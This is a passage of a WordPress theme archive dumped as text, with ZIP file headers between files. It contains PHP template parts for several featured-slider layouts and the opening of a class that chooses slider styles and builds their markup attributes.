               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
		<?php endif; ?>
		</div>
    </div>

	<?php $list_post_ids[] = get_the_ID(); ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\[|       inc/featured_slider/style-16.phpnu [        <?php
/**
 * Template part for Slider Style 16
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 2 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\E       inc/featured_slider/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size_big = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
	$image_size     = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-thumb-small';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 7 == 1 || $i % 7 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 || $i % 7 == 2 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\ՋX       inc/featured_slider/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $image_size_big;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $image_size; endif;

		$thumb_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>">
				<?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <div class="feat-meta">
									<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     N\+ڀ׷       inc/featured_slider/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 3 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\2:k   k   '  inc/featured_slider/featured_slider.phpnu [        <?php

class Penci_Featured_Slider {

	public static function is_slider_style( $style ) {
		return in_array( $style, [
			'style-1',
			'style-2',
			'style-3',
			'style-4',
			'style-5',
			'style-6',
			'style-7',
			'style-8',
			'style-9',
			'style-10',
			'style-11',
			'style-12',
			'style-13',
			'style-14',
			'style-15',
			'style-16',
			'style-17',
			'style-18',
			'style-19',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-29',
			'style-30',
			'style-31',
			'style-32',
			'style-33',
			'style-34',
			'style-35',
			'style-36',
			'style-37',
			'style-38',
			'style-40',
			'video'
		] );
	}

	public static function render_featured_slider( $attrs = array() ) {

		$default_attrs = array(
			'style'                  => get_theme_mod( 'penci_featured_slider_style', 'style-1' ),
			'rev_shortcode'          => get_theme_mod( 'penci_feature_rev_sc' ),
			'auto_play'              => get_theme_mod( 'penci_featured_autoplay' ),
			'auto_time'              => get_theme_mod( 'penci_featured_slider_auto_time' ),
			'auto_speed'             => get_theme_mod( 'penci_featured_slider_auto_speed' ),
			'loop'                   => get_theme_mod( 'penci_featured_loop' ),
			'animation_in'           => get_theme_mod( 'penci_featured_slider_ain' ),
			'animation_out'          => get_theme_mod( 'penci_featured_slider_aout' ),
			'dots'                   => get_theme_mod( 'penci_disable_dots_penci_slider' ),
			'next_prev'              => get_theme_mod( 'penci_enable_next_prev_penci_slider' ),
			'slidespg'               => get_theme_mod( 'penci_featured_penci_slider_slidespg' ),
			'slideTo'                => get_theme_mod( 'penci_featured_penci_slider_slideTo' ),
			'flat_overlay'           => get_theme_mod( 'penci_enable_flat_overlay' ),
			'query_args'             => array(),
			'is_builder'             => false,
			'post_thumb_size'        => 'penci-slider-thumb',
			'post_thumb_size_mobile' => 'penci-masonry-thumb',
			'center_box'             => get_theme_mod( 'penci_featured_center_box' ),
			'hide_categories'        => get_theme_mod( 'penci_featured_hide_categories' ),
			'meta_date_hide'         => get_theme_mod( 'penci_featured_meta_date' ),
			'hide_meta_comment'      => get_theme_mod( 'penci_featured_meta_comment' ),
			'show_viewscount'        => get_theme_mod( 'penci_featured_viewscount' ),
			'show_meta_author'       => get_theme_mod( 'penci_featured_meta_author' ),
			'slider_title_length'    => get_theme_mod( 'penci_slider_title_length' ),
			'cspost_enable'          => get_theme_mod( 'penci_cspost_enable' ),
			'carousel_slider_effect' => get_theme_mod( 'penci_carousel_slider_effect' ),
			'single_slider_effect'   => get_theme_mod( 'penci_single_slider_effect' ),
		);

		$attrs = wp_parse_args( $attrs, $default_attrs );

		$slider_style = $attrs['style'];

		if ( in_array( $slider_style, [ 'style-33', 'style-34' ] ) && $attrs['rev_shortcode'] ) {
			$rev_shortcode = $attrs['rev_shortcode'];
			echo '<div class="featured-area featured-' . $slider_style . '">';
			if ( $slider_style == 'style-34' ) {
				echo '<div class="container">';
			}
			echo do_shortcode( $rev_shortcode );
			if ( $slider_style == 'style-34' ) {
				echo '</div>';
			}
			echo '</div>';
		} else {
			$style_mappings = [
				'style-3'  => 'style-1',
				'style-5'  => 'style-4',
				'style-7'  => 'style-8',
				'style-9'  => 'style-10',
				'style-11' => 'style-12',
				'style-13' => 'style-14',
				'style-15' => 'style-16',
				'style-17' => 'style-18',
				'style-29' => 'style-30',
				'style-35' => 'style-36'
			];

			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) && ! $attrs['is_builder'] ) {
				$slider_style = $style_mappings[ $slider_style ] ?? $slider_style;
			}

			$combined_classes = [
				'style-5'  => 'style-4 style-5',
				'style-30' => 'style-29 style-30',
				'style-36' => 'style-35 style-36'
			];

			$slider_class = $combined_classes[ $slider_style ] ?? $slider_style;
			$data_auto    = $attrs['auto_play'] ? 'true' : 'false';
			$data_loop    = $attrs['loop'] ? 'false' : 'true';
			$auto_time    = is_numeric( $attrs['auto_time'] ) ? $attrs['auto_time'] : '4000';
			$auto_speed   = is_numeric( $attrs['auto_speed'] ) ? $attrs['auto_speed'] : '600';

			$data_res = '';
			switch ( $slider_style ) {
				case 'style-7':
				case 'style-8':
					$data_res = ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-9':
				case 'style-10':
				case 'style-43':
					$data_res = ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-11':
				case 'style-12':
					$data_res = ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
					break;
				case 'style-31':
				case 'style-32':
				case 'style-35':
				case 'style-36':
				case 'style-37':
					$data_next_prev = $attrs['next_prev'] ? 'true' : 'false';
					$data_dots      = $attrs['dots'] ? 'false' : 'true';
					$data_res       = ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
					break;
			}

			$container_styles = [
				'style-1',
				'style-4',
				'style-6',
				'style-8',
				'style-10',
				'style-12',
				'style-14',
				'style-16',
				'style-18',
				'style-19',
				'style-20',
				'style-21',
				'style-22',
				'style-23',
				'style-24',
				'style-25',
				'style-26',
				'style-27',
				'style-30',
				'style-32',
				'style-36',
				'style-37',
				'style-41',
				'style-42',
				'style-43',
				'style-44',
				'style-45',
			];

			$open_container = $close_container = '';
			if ( in_array( $slider_style, $container_styles ) ) {
				$open_container  = '<div class="container">';
				$close_container = '</div>';
			}

			$output_anim = '';
			if ( $attrs['carousel_slider_effect'] ) {
				$output_anim .= ' data-ceffect="' . $attrs['carousel_slider_effect'] . '"';
			}
			if ( $attrs['single_slider_effect'] ) {
				$output_anim .= ' data-seffect="' . $attrs['single_slider_effect'] . '"';
			}

			$slider_lib = 'penci-owl-featured-area';
			if ( $attrs['flat_overlay'] && in_array( $slider_style, [
					'style-6',
					'style-7',
					'style-8',
					'style-9',
					'style-10',
					'style-11',
					'style-12',
					'style-13',
					'style-14',
